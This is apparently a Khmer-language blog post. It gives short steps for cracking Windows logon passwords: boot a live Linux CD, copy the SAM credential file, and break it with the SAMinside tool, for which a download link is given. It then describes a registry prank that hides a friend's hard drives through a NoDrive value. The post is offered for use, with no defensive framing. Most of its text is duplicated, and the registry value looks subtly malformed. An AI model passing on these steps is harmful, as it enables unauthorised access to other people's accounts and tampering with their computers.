ការបំបែកលេខសំងាត់របស់វិនដូពេលLog On
ការបំបែកលេខសំងាត់របស់វិនដូត្រូវធ្វើឡើងទៅឯកសារមួយឈ្មោះថា «SAM» វាគឺជាឯកសារមួយដែលរក្សាទុកនូវរាល់ពត៌មានអំពី UserName និង Password នៅលើកុំព្យូទ័រ។
យើងអាចរកវាឃើញនៅក្នុងទីតាំង C:\Windows\System32\Config
«SAM»ត្រូវបានបំបែកដោយងាយជាមួយនឹងSoftware មួយឈ្មោះថា «SAMinside»
យើងអាចរកវាបាននៅhttp://www.yankeedownload.com/software/saminside-ijfqc.html
ចំណុចមួយនាក់ត្រូវតែចងចាំមុនពេលបំបែកត្រូវចម្លង «SAM»មួយទុកសិន។ប៉ុន្តែបញ្ហាគឺវិនដូមិនអនុញ្ញាតិអោយយើងធ្វើការបំបែកដោយផ្ទាល់រឺ ចម្លងវាទេ។ ដូចនេះអ្នកត្រូវប្រើៈ
Live Linuc CD or Knnopix or Fedora. ពីព្រោះថា Linix អាចដំណើរការឯកសាររបស់វិនដូបានទាំងអស់ ដូចនេះវាមានការងារស្រួលក្នុងការចម្លង «SAM»
យើងអាចរកវាឃើញនៅក្នុងទីតាំង C:\Windows\System32\Config
«SAM»ត្រូវបានបំបែកដោយងាយជាមួយនឹងSoftware មួយឈ្មោះថា «SAMinside»
យើងអាចរកវាបាននៅhttp://www.yankeedownload.com/software/saminside-ijfqc.html
ចំណុចមួយនាក់ត្រូវតែចងចាំមុនពេលបំបែកត្រូវចម្លង «SAM»មួយទុកសិន។ប៉ុន្តែបញ្ហាគឺវិនដូមិនអនុញ្ញាតិអោយយើងធ្វើការបំបែកដោយផ្ទាល់រឺ ចម្លងវាទេ។ ដូចនេះអ្នកត្រូវប្រើៈ
Live Linuc CD or Knnopix or Fedora. ពីព្រោះថា Linix អាចដំណើរការឯកសាររបស់វិនដូបានទាំងអស់ ដូចនេះវាមានការងារស្រួលក្នុងការចម្លង «SAM»
ការលាក់ ដ្រាយហាតឌីស
នេះគឺជាកលល្បិចមួយដែលអ្នកអាចយកទៅលេងសើចជាមួយមិត្តរបស់អ្នកបាន។គឺការលាក់ហាតឌីសពីកុំព្យូទ័ររបស់ខ្ញុំ និងនៅលើបណ្តាញ។ វិធីដែលត្រូវធ្វើនោះគឺៈ
១-ចូលទៅកាន់ Start រួចចុចលើ Run និងសរសេរពាក្យថា «regedit» រួចចុច OK
២- ចូលទៅកាន់ចំនុចខាងក្រោមនេះ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
៣-ចូល Right-Click ទៅលើផ្នែកខាងស្តាំរួចយក Create new DWORD ដោយដាក់ឈ្មោះវាថា «NoDrive»
៤-រួច Right-Click ទៅលើ «NoDrive» យក Modify រួចសរសេរថា «3FFFFFF»
៥-បន្ទាប់មក Restart Computer
-----------------------------------------------------
បើចង់បង្ហាញហាតឌីសវិញត្រូវចូលទៅកាន់ចំនុចខាងលើរួចចុចលុប «NoDrive» រួចRestart-Computer.
១-ចូលទៅកាន់ Start រួចចុចលើ Run និងសរសេរពាក្យថា «regedit» រួចចុច OK
២- ចូលទៅកាន់ចំនុចខាងក្រោមនេះ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
៣-ចូល Right-Click ទៅលើផ្នែកខាងស្តាំរួចយក Create new DWORD ដោយដាក់ឈ្មោះវាថា «NoDrive»
៤-រួច Right-Click ទៅលើ «NoDrive» យក Modify រួចសរសេរថា «3FFFFFF»
៥-បន្ទាប់មក Restart Computer
-----------------------------------------------------
បើចង់បង្ហាញហាតឌីសវិញត្រូវចូលទៅកាន់ចំនុចខាងលើរួចចុចលុប «NoDrive» រួចRestart-Computer.
Subscribe to:
Posts (Atom)